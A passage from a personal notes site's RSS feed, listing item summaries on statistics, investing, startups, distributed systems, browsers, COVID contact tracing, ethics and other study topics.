&lt;li&gt;Approximate Agreement&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Other Communication Models&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Overview&lt;/li&gt;
&lt;li&gt;Self-stabilization&lt;/li&gt;
&lt;li&gt;Population Protocols and Chemical Reaction Networks&lt;/li&gt;
&lt;li&gt;Mobile Robots&lt;/li&gt;
&lt;li&gt;Beeping&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Appendix&lt;/p&gt;</description></item><item><title>Fables in Service of Capitalism</title><link>https://www.curiosities.dev/business/optimism_and_deception/not-a-story-the-capitalists-would-tell-you/</link><pubDate>Wed, 07 Oct 2020 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/business/optimism_and_deception/not-a-story-the-capitalists-would-tell-you/</guid><description>&lt;h2 id="environmentalism"&gt;Environmentalism&lt;/h2&gt;
&lt;p&gt;Over the last 70 years, less than 10% of plastic waste has been recycled - it&amp;rsquo;s
uneconomical. Recycling shifts attention from the environmental impact of
plastics and their overproduction to the consumer&amp;rsquo;s willingness to recycle.
Reducing and reusing is a much better environmental strategy. &lt;span class="citation-ref"&gt;&lt;a href="#CBC2020"&gt;&lt;/a&gt;&lt;/span&gt; &lt;span class="tag-ref"&gt;&lt;a href="https://www.curiosities.dev/tags/environmentalism"&gt;#environmentalism&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;h2 id="betting-and-gambling"&gt;Betting (and Gambling)&lt;/h2&gt;



&lt;div class="priors-holder"&gt;
 &lt;div class="priors" title="Priors: my guess before digging deeper"&gt;&lt;p&gt;I&amp;rsquo;m seeing more prominent gambling sites and ads compared to when I was growing
up. Based on my peers, SportPesa made lots of headway in Kenya (few companies
can claim to sponsor English Premier League teams). Its backing is foreign
though, so maybe SportPesa is part of a global trend?&lt;/p&gt;</description></item><item><title>Bayesian Statistics [MIT 18.650]</title><link>https://www.curiosities.dev/mathematics/statistics/statistics-for-applications/08-bayesian-statistics/_meta/</link><pubDate>Sun, 26 Jul 2020 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/mathematics/statistics/statistics-for-applications/08-bayesian-statistics/_meta/</guid><description/></item><item><title>Frequentist Approach vs. Bayesian Approach</title><link>https://www.curiosities.dev/mathematics/statistics/statistics-for-applications/08-bayesian-statistics/01-frequentists-vs-bayesian/</link><pubDate>Sun, 26 Jul 2020 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/mathematics/statistics/statistics-for-applications/08-bayesian-statistics/01-frequentists-vs-bayesian/</guid><description>&lt;h2 id="the-frequentist-approach"&gt;The Frequentist Approach&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Observe data.&lt;/li&gt;
&lt;li&gt;Assume the data were generated randomly, &lt;em&gt;e.g. by nature, by designing a survey, etc.&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;Make assumptions on the generating process, &lt;em&gt;e.g. i.i.d., Gaussian, etc.&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;Associate the generating process to some object of interest, &lt;em&gt;e.g. a parameter, a density, etc.&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;Assuming that the object is unknown but fixed, try to find it, &lt;em&gt;e.g. estimate it, test a hypothesis about it, etc.&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="the-bayesian-approach"&gt;The Bayesian Approach&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Observe data.&lt;/li&gt;
&lt;li&gt;Assume the data are generated randomly by some process.&lt;/li&gt;
&lt;li&gt;Under some assumptions, e.g. parametric distribution, associate the process with some fixed object.&lt;/li&gt;
&lt;li&gt;We have a &lt;strong&gt;prior belief&lt;/strong&gt; about the object.&lt;/li&gt;
&lt;li&gt;Using the data, we want to update that belief into a &lt;strong&gt;posterior belief&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;See 
&lt;a href="https://www.curiosities.dev/knowing/scout-mindset/05-rethinking-identity/#BayesiansVsFrequentists"
 
 
 
 &gt;
 Galef&amp;rsquo;s &amp;ldquo;Rethinking Identity&amp;rdquo; for a fun exploration of Bayesian vs.
Frequentists rivalry
 
&lt;/a&gt;
.&lt;/p&gt;</description></item><item><title>Of Code Smells and Hygiene</title><link>https://www.curiosities.dev/computer-science/miscellaneous/2020-07-05-code-smells-and-hygiene/</link><pubDate>Sun, 05 Jul 2020 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/miscellaneous/2020-07-05-code-smells-and-hygiene/</guid><description>&lt;p&gt;&lt;span class="tag-ref"&gt;&lt;a href="https://www.curiosities.dev/tags/code-hygiene"&gt;#code-hygiene&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment open-comment" title="Open comment: unresolved question"&gt;&lt;p&gt;Pick up from:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;IEEE&amp;rsquo;s 
&lt;a href="https://ieeexplore.ieee.org/xpl/conhome/1000694/all-proceedings"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 International Conference on Software
Maintenance
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://www.inf.usi.ch/lanza/Downloads/Pant2018a.pdf"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 Improving Code: The (Mis)perception of Quality
Metrics
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Springer&amp;rsquo;s 
&lt;a href="https://www.springer.com/journal/11219"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 Software Quality Journal
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;h2 id="on-abstractions"&gt;On Abstractions&lt;/h2&gt;
&lt;p&gt;If you find yourself adding more parameters and if-statements to an existing
abstraction, is the abstraction still apt? Why not remove the old abstraction
and re-extract a new [more apt] abstraction? Devs frequently succumb to the
sunken cost fallacy thinking that there must have been a reason that the code
was written in a certain way. &lt;span class="citation-ref"&gt;&lt;a href="#Metz2016"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Startup Ideation</title><link>https://www.curiosities.dev/business/on-starting-a-business/2020-07-05-startup-ideation/</link><pubDate>Sun, 05 Jul 2020 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/business/on-starting-a-business/2020-07-05-startup-ideation/</guid><description>&lt;h2 id="how-to-get-startup-ideas"&gt;How to Get Startup Ideas &lt;span class="citation-ref"&gt;&lt;a href="#Graham2012"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;Err on the side of having competitors, but make sure that you have a thesis that everyone else is overlooking, e.g. Google wasn&amp;rsquo;t averse to users leaving &lt;code&gt;google.com&lt;/code&gt; ASAP.&lt;/p&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;The Startup Idea Matrix, (
&lt;a href="https://docs.google.com/spreadsheets/d/1xafwdQyWczCwPDGsGoiCSe8SdlbgN-QHjktLemqRo7s/edit#gid=1298089993"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 B2B Edition
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
, 
&lt;a href="https://docs.google.com/spreadsheets/d/1k5sTdMpWKvPIqUi1UNIKQ8xBpw5DEyRfwnAQxZoHmDw/edit#gid=874147518"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 B2C Edition
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
) is a good start for knowing who to google.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;





&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;Big companies tend to be slow at changing their approach. You&amp;rsquo;d think that Yahoo! would clean up their landing page the moment they realized Google was becoming a dominant search engine.&lt;/p&gt;</description></item><item><title>On Socio-Economic Classes</title><link>https://www.curiosities.dev/socioeconomics/2020-07-04-socioeconomic-classes/</link><pubDate>Sat, 04 Jul 2020 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/socioeconomics/2020-07-04-socioeconomic-classes/</guid><description>&lt;p&gt;&lt;span class="tag-ref"&gt;&lt;a href="https://www.curiosities.dev/tags/meritocracy"&gt;#meritocracy&lt;/a&gt;&lt;/span&gt;
&lt;span class="tag-ref"&gt;&lt;a href="https://www.curiosities.dev/tags/inequality"&gt;#inequality&lt;/a&gt;&lt;/span&gt;
&lt;span class="tag-ref"&gt;&lt;a href="https://www.curiosities.dev/tags/socioeconomics"&gt;#socioeconomics&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;h2 id="our-lot-in-life"&gt;Our Lot in Life&lt;/h2&gt;
&lt;p&gt;Not recognizing your blessings feeds into the dark side of capitalism and
meritocracy: &lt;em&gt;success is a choice, and that those who haven’t achieved success
are not unlucky, but unworthy.&lt;/em&gt; &lt;span class="citation-ref"&gt;&lt;a href="#Galloway2019"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;I&amp;rsquo;m relatively lucky. I don&amp;rsquo;t know how much of the techie hubris that I bear. I
have unresolved feelings about meritocracy and fairness. Race is usually used as
a proxy for bridging the gap, e.g. affirmative action at colleges. But who is
affirmative action better suited for - a rich black kid or a poor white kid? I&amp;rsquo;m
in the camp that believes wealth is a bigger divider than race.&lt;/p&gt;</description></item><item><title>01. Sum of Powers</title><link>https://www.curiosities.dev/computer-science/programming-challenges/cs97si/02-mathematics/01-sum-of-powers/</link><pubDate>Sat, 20 Jun 2020 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/cs97si/02-mathematics/01-sum-of-powers/</guid><description>&lt;p&gt;The sums of powers, \( \sum_{k=1}^{n} k^a \), can be computed more efficiently if we have a closed formula for them.&lt;/p&gt;
&lt;h2 id="sum-of-powers-for-a--1-2-3"&gt;Sum of powers for a = 1, 2, 3&lt;/h2&gt;
&lt;p&gt;$$ \sum_{k=1}^{n} k = \frac{n(n+1)}{2} $$&lt;/p&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;One [intuitive] derivation is presented at brilliant.org &lt;span class="citation-ref"&gt;&lt;a href="#brilliantFaulhaber"&gt;&lt;/a&gt;&lt;/span&gt;:&lt;/p&gt;
&lt;p&gt;$$ S_n = 1 + 2 + 3 + &amp;hellip; + n $$&lt;/p&gt;
&lt;p&gt;&amp;hellip; can be reordered as:&lt;/p&gt;
&lt;p&gt;$$ S_n = n + (n-1) + (n-2) + &amp;hellip; + 1 $$&lt;/p&gt;</description></item><item><title>Recently Updated Pages</title><link>https://www.curiosities.dev/recently-updated/</link><pubDate>Fri, 19 Jun 2020 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/recently-updated/</guid><description>&lt;p&gt;A list of the most recently updated pages.&lt;/p&gt;</description></item><item><title>12. A Fitness Manual for Random Walkers and Other Investors</title><link>https://www.curiosities.dev/business/malkiel-a-random-walk-down-wall-street/part-4-a-practical-guide-for-random-walkers-and-other-investors/malkiel-12-fitness-manual/</link><pubDate>Wed, 03 Jun 2020 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/business/malkiel-a-random-walk-down-wall-street/part-4-a-practical-guide-for-random-walkers-and-other-investors/malkiel-12-fitness-manual/</guid><description>&lt;h2 id="exercise-1-have-a-regular-savings-program"&gt;Exercise 1: Have a regular savings program.&lt;/h2&gt;
&lt;p&gt;Start investing early because compound interest and time are you greatest resource.&lt;/p&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;When it comes to setting 
&lt;a href="https://www.fdic.gov/regulations/resources/rates/"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 saving accounts&amp;rsquo; interest rates
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
 with regard to 
&lt;a href="https://www.federalreserve.gov/monetarypolicy/reqresbalances.htm"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 the interest rate that banks enjoy from the fed
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
, banks are downwards-flexible and upwards-sticky. Depositors lose the tune of $100b when interest rates are rising. &lt;span class="citation-ref"&gt;&lt;a href="#Driscoll2013"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;One is better off with special accounts such as 
&lt;a href="https://www.marcus.com/us/en/savings/high-yield-savings"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 Marcus by Goldman Sachs (1.05% APY)
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
 or 
&lt;a href="https://www.ally.com/bank/online-savings-account/"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 Ally (1.00% APY)
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
 or 
&lt;a href="https://www.pnc.com/en/personal-banking/banking/savings/high-yield-savings.html"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 PNC High Yield (1.00% APY)
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
. Some of these accounts are limited to US citizens.&lt;/p&gt;</description></item><item><title>13. A Primer in Understanding and Projecting Returns from Stocks and Bonds</title><link>https://www.curiosities.dev/business/malkiel-a-random-walk-down-wall-street/part-4-a-practical-guide-for-random-walkers-and-other-investors/malkiel-13-understanding-and-projecting-returns/</link><pubDate>Wed, 03 Jun 2020 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/business/malkiel-a-random-walk-down-wall-street/part-4-a-practical-guide-for-random-walkers-and-other-investors/malkiel-13-understanding-and-projecting-returns/</guid><description>&lt;h2 id="what-determines-the-returns-from-stocks-and-bonds"&gt;What determines the returns from stocks and bonds?&lt;/h2&gt;
&lt;p&gt;A stock buyer expects a growing stream of dividends. If the company re-invests its profits, the stock buyer expects more rapidly growing dividends in the future, or a lucrative stock buyback.&lt;/p&gt;
&lt;p&gt;Long-run Equity Return = Initial Dividend Yield + Growth Rate&lt;/p&gt;
&lt;p&gt;In the short run (e.g. a year) the changes in price/dividend or price/earnings multiples determine returns. In optimistic times, e.g. March 2000, P/E &amp;gt; 30 and P/D &amp;gt; 80. In times of pessimism, e.g. 1982, P/E &amp;gt; 8 and P/D &amp;gt; 17&lt;/p&gt;</description></item><item><title>14. A Life-Cycle Guide to Investing</title><link>https://www.curiosities.dev/business/malkiel-a-random-walk-down-wall-street/part-4-a-practical-guide-for-random-walkers-and-other-investors/malkiel-14-life-cycle-guide/</link><pubDate>Wed, 03 Jun 2020 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/business/malkiel-a-random-walk-down-wall-street/part-4-a-practical-guide-for-random-walkers-and-other-investors/malkiel-14-life-cycle-guide/</guid><description>&lt;h2 id="5-asset-allocation-principles"&gt;5 Asset Allocation Principles&lt;/h2&gt;
&lt;h3 id="history-shows-that-higher-risk-bears-high-reward"&gt;History shows that higher risk bears high reward&lt;/h3&gt;
&lt;p&gt;From 1926 to 2017:&lt;/p&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;&lt;/th&gt;
 &lt;th&gt;Average Annual Return&lt;/th&gt;
 &lt;th&gt;Year-to-Year Volatility of Returns&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;Small-company stocks&lt;/td&gt;
 &lt;td&gt;12.1%&lt;/td&gt;
 &lt;td&gt;31.7%&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Large-company stocks&lt;/td&gt;
 &lt;td&gt;10.2%&lt;/td&gt;
 &lt;td&gt;19.8%&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Long-term government bonds&lt;/td&gt;
 &lt;td&gt;5.5%&lt;/td&gt;
 &lt;td&gt;9.9%&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;US Treasury Bills&lt;/td&gt;
 &lt;td&gt;3.4%&lt;/td&gt;
 &lt;td&gt;3.1%&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="the-risk-of-investing-in-stocks-and-bonds-depends-on-the-hold-duration"&gt;The risk of investing in stocks and bonds depends on the hold duration&lt;/h3&gt;
&lt;p&gt;From 1950 to 2017, the S&amp;amp;P averaged 10% per year. However, there were +52% and -37% on some years.&lt;/p&gt;</description></item><item><title>Unorthodox Startups</title><link>https://www.curiosities.dev/business/on-starting-a-business/2020-05-20-unorthodox-startups/</link><pubDate>Wed, 20 May 2020 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/business/on-starting-a-business/2020-05-20-unorthodox-startups/</guid><description>&lt;h2 id="innovation-africa--water-availability"&gt;Innovation Africa &amp;amp; Water Availability &lt;span class="citation-ref"&gt;&lt;a href="#Sivan2018"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;Bring in Israeli solar panels and drip irrigation. Pump water from the large reservoirs below. Cost $7,000.&lt;/p&gt;
&lt;p&gt;Adapting to community: 6-8 weeks on committees, bank accounts; mobile charging stations and barbershops using solar panels for sustainability. Can&amp;rsquo;t sell the water, but you can subsidize it with complementary products.&lt;/p&gt;
&lt;p&gt;Set up remote monitoring with real time stats in order to schedule maintenance.&lt;/p&gt;
&lt;h2 id="honorable-mentions"&gt;Honorable Mentions&lt;/h2&gt;
&lt;p&gt;Push Party by MSCHF is valued at $200m, led by The Founders Fund. &lt;span class="citation-ref"&gt;&lt;a href="#MSCHF"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Chrome vs. Everybody</title><link>https://www.curiosities.dev/computer-science/www/2020-05-19-chrome-vs-everybody/</link><pubDate>Tue, 19 May 2020 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/www/2020-05-19-chrome-vs-everybody/</guid><description>&lt;figure&gt;
 &lt;img src='https://www.curiosities.dev/img/computer-science/www/stat-counter-browser-share-2009-2026.png' alt='Browser Market Share Worldwide (2009 - 2026). Source: StatCounter' loading="lazy"&gt;
 &lt;figcaption&gt;Browser Market Share Worldwide (2009 - 2026). Source: StatCounter&lt;/figcaption&gt;
&lt;/figure&gt;




&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;At the very least, Chrome is worth studying. &lt;em&gt;Something&lt;/em&gt; worked out. I&amp;rsquo;m biased, I only plan to deeply explore Chromium-based browsers and Firefox.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;h2 id="stability-testing-and-the-multi-process-architecture"&gt;Stability, Testing and the Multi-Process Architecture &lt;span class="citation-ref"&gt;&lt;a href="#chromeStabilityTestingAndMultiProcess"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;In a single-threaded browser, devs use asynchronous APIs - which may sometimes hold the browser up. Instead of multiple threads, Chromium chose multiple processes: isolation, independent crashes, better asymptotic memory management, identifying expensive sites, etc.&lt;/p&gt;</description></item><item><title>Mergeable Replicated Data Types</title><link>https://www.curiosities.dev/computer-science/distributed-systems/2020-05-17-mergeable-replicated-data-types/</link><pubDate>Sun, 17 May 2020 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/distributed-systems/2020-05-17-mergeable-replicated-data-types/</guid><description>&lt;p&gt;&lt;span class="citation-ref"&gt;&lt;a href="#Kaki2019"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;On a distributed system, each replica should [eventually] converge to the same state. Commutative Replicated Data Types (CRDTs) can accept updates and achieve consistent without remote synchronization.&lt;/p&gt;
&lt;h2 id="the-need-for-commutativity"&gt;The Need for Commutativity&lt;/h2&gt;
&lt;p&gt;Say we have a queue \( 1 \to 2 \). Suppose two replicas, \(r_1\) and \(r_2\), independently call &lt;code&gt;pop()&lt;/code&gt;. Each replica will have \(2\) on their queue.&lt;/p&gt;
&lt;p&gt;However, on receiving an update that the other replica popped, each replica will call &lt;code&gt;pop()&lt;/code&gt; to be consistent, thereby deleting \(2\).&lt;/p&gt;</description></item><item><title>COVID-19</title><link>https://www.curiosities.dev/health-and-medicine/2020-05-06-covid-19/</link><pubDate>Wed, 06 May 2020 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/health-and-medicine/2020-05-06-covid-19/</guid><description>&lt;h2 id="contact-tracing"&gt;Contact Tracing&lt;/h2&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;&amp;ldquo;Apps&amp;rdquo; in this context means contact tracing apps released by public health
authorities to do contact tracing. The APIs are limited to them.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;h3 id="big-picture"&gt;Big Picture&lt;/h3&gt;
&lt;p&gt;Release APIs to enable apps to interoperate between Android and iOS devices.
Bluetooth-based contact tracing baked into Android and iOS, such that no app is
needed for broadcasting/listening. &lt;span class="citation-ref"&gt;&lt;a href="#AppleGoogle2020"&gt;&lt;/a&gt;&lt;/span&gt; This ensures
broad adoption, but will be on an opt-in basis. &lt;span class="citation-ref"&gt;&lt;a href="#DocsExposureNotificationFAQ"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;Interesting debate for privacy, ethics and public health. Public health
officials have a duty to warn, but patients risk stigma. &lt;span class="citation-ref"&gt;&lt;a href="#WikiContactTracing"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Unscrambling Words</title><link>https://www.curiosities.dev/computer-science/programming-challenges/leet-code-and-others/sorting-and-searching/unscramble-words/unscramble-words/</link><pubDate>Sun, 03 May 2020 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/leet-code-and-others/sorting-and-searching/unscramble-words/unscramble-words/</guid><description>&lt;h2 id="problem-statement"&gt;Problem Statement&lt;/h2&gt;
&lt;p&gt;Write a program that will take these scrambled words from &lt;code&gt;scrambled.txt&lt;/code&gt;, and
compare them against &lt;code&gt;wordlist.txt&lt;/code&gt; to unscramble them, e.g., &lt;code&gt;sleewa&lt;/code&gt;
unscrambles to &lt;code&gt;weasel&lt;/code&gt;. &lt;span class="citation-ref"&gt;&lt;a href="#DailyProgrammer03"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;h2 id="solution"&gt;Solution&lt;/h2&gt;
&lt;p&gt;Pre-process &lt;code&gt;wordlist.txt&lt;/code&gt; into a dictionary keyed by the sorted version of the
anagram, e.g., &lt;code&gt;weasel&lt;/code&gt; is keyed under &lt;code&gt;aeelsw&lt;/code&gt;. To support multiple anagrams,
the value should be a list of all strings from &lt;code&gt;wordlist&lt;/code&gt; that share the sorted
anagram. Iterating through &lt;code&gt;scrambled.txt&lt;/code&gt; becomes a lookup operation keyed on
the sorted string.&lt;/p&gt;</description></item><item><title>Health Ethics</title><link>https://www.curiosities.dev/health-and-medicine/2020-05-02-health-ethics/</link><pubDate>Sat, 02 May 2020 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/health-and-medicine/2020-05-02-health-ethics/</guid><description>&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;Harden, a liberal behavior geneticist, is publishing a book, &amp;ldquo;The Genetic
Lottery: Why DNA Matters for Social Equality&amp;rdquo;. &lt;span class="citation-ref"&gt;&lt;a href="#LewisKraus2021"&gt;&lt;/a&gt;&lt;/span&gt; Watch
this space as it casts doubt on prevailing social justice thesis that
environmental factors, and not genetics, influence behavior or social outcomes.&lt;/p&gt;
&lt;p&gt;Check back in Sept 2022 (one year from now).&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;h2 id="faster-human-trials"&gt;Faster Human Trials&lt;/h2&gt;
&lt;p&gt;In 1986, AZT (AIDS treatment) showed 1/145 deaths compared to the placebo&amp;rsquo;s
16/137. 6,000 AIDS patients were offered AZT, helping it get to the public much
faster. &lt;span class="citation-ref"&gt;&lt;a href="#Cimons1986"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>On Learning</title><link>https://www.curiosities.dev/knowing/2020-05-02-on-learning/</link><pubDate>Sat, 02 May 2020 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/knowing/2020-05-02-on-learning/</guid><description>&lt;h2 id="mental-attitude-while-learning"&gt;Mental Attitude While Learning&lt;/h2&gt;
&lt;h3 id="distinguish-mere-facts-from-conclusions-or-opinions"&gt;Distinguish Mere Facts From Conclusions or Opinions&lt;/h3&gt;
&lt;p&gt;Discriminate between mere statements of facts, necessary conclusions which
follow therefrom, and mere opinions which they seem to render reasonable.
There&amp;rsquo;s no need to perform an experiment to verify that the atomic weight of
oxygen is 16. That the sum of the angles of a plane triangle equals two right
angles is not a mere fact, but an inevitable truth. &lt;span class="citation-ref"&gt;&lt;a href="#Swain1917-Ch1"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Wall Street University: USD 101</title><link>https://www.curiosities.dev/business/2020-05-02-wall-street-101/</link><pubDate>Sat, 02 May 2020 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/business/2020-05-02-wall-street-101/</guid><description>&lt;h2 id="short-selling"&gt;Short Selling &lt;span class="citation-ref"&gt;&lt;a href="#InvestorGov2015"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;Say $A shares are selling at $100, but I think they&amp;rsquo;re overpriced. So I borrow
10 shares, pay my brokerage interest and post some collateral. I then sell the
shares for $1,000.&lt;/p&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;Whoever buys my shares has no idea that I do not own them. In a naked short, I
do not actually borrow or ensure that the security can be borrowed within the
standard 3-day settlement period. As a result, I fail to deliver the securities
to the buyer. &lt;span class="citation-ref"&gt;&lt;a href="#WikiNakedShortSelling"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Free Speech in Cyberspace</title><link>https://www.curiosities.dev/politics-and-governance/2020-04-29-free-speech-in-cyberspace/</link><pubDate>Wed, 29 Apr 2020 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/politics-and-governance/2020-04-29-free-speech-in-cyberspace/</guid><description>&lt;h2 id="should-platforms-be-neutral"&gt;Should Platforms Be Neutral?&lt;/h2&gt;
&lt;p&gt;Facebook banned praise, support and representation of white nationalism and separatism, because the two concepts cannot be meaningfully separated from white supremacy and organized hate groups. Furthermore, people that search for related terms will have &amp;ldquo;Life After Hate&amp;rdquo; suggested to them. &lt;span class="citation-ref"&gt;&lt;a href="#FB2019"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;Part of me is uncomfortable. Sure, Facebook is trying to do the right thing here. What if Facebook was replaced by some tyrannical government that censors opposition?&lt;/p&gt;</description></item><item><title>[ToDo] Linear Algebra</title><link>https://www.curiosities.dev/todo/mathematics/hefferon-linear-algebra/</link><pubDate>Sun, 26 Apr 2020 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/todo/mathematics/hefferon-linear-algebra/</guid><description>&lt;p&gt;Linear Systems&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Solving Linear Systems&lt;/li&gt;
&lt;li&gt;Linear Geometry&lt;/li&gt;
&lt;li&gt;Reduced Echelon Form&lt;/li&gt;
&lt;li&gt;Topic: Computer Algebra Systems&lt;/li&gt;
&lt;li&gt;Topic: Input-Output Analysis&lt;/li&gt;
&lt;li&gt;Topic: Accuracy of Computations&lt;/li&gt;
&lt;li&gt;Topic: Analyzing Networks&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Vector Spaces&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Definition of Vector Space&lt;/li&gt;
&lt;li&gt;Linear Independence&lt;/li&gt;
&lt;li&gt;Basis and Dimension&lt;/li&gt;
&lt;li&gt;Topic: Fields&lt;/li&gt;
&lt;li&gt;Topic: Crystals&lt;/li&gt;
&lt;li&gt;Topic: Voting Paradoxes&lt;/li&gt;
&lt;li&gt;Topic: Dimensional Analysis&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Maps Between Spaces&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Isomorphisms&lt;/li&gt;
&lt;li&gt;Homomorphisms&lt;/li&gt;
&lt;li&gt;Computing Linear Maps&lt;/li&gt;
&lt;li&gt;Matrix Operations&lt;/li&gt;
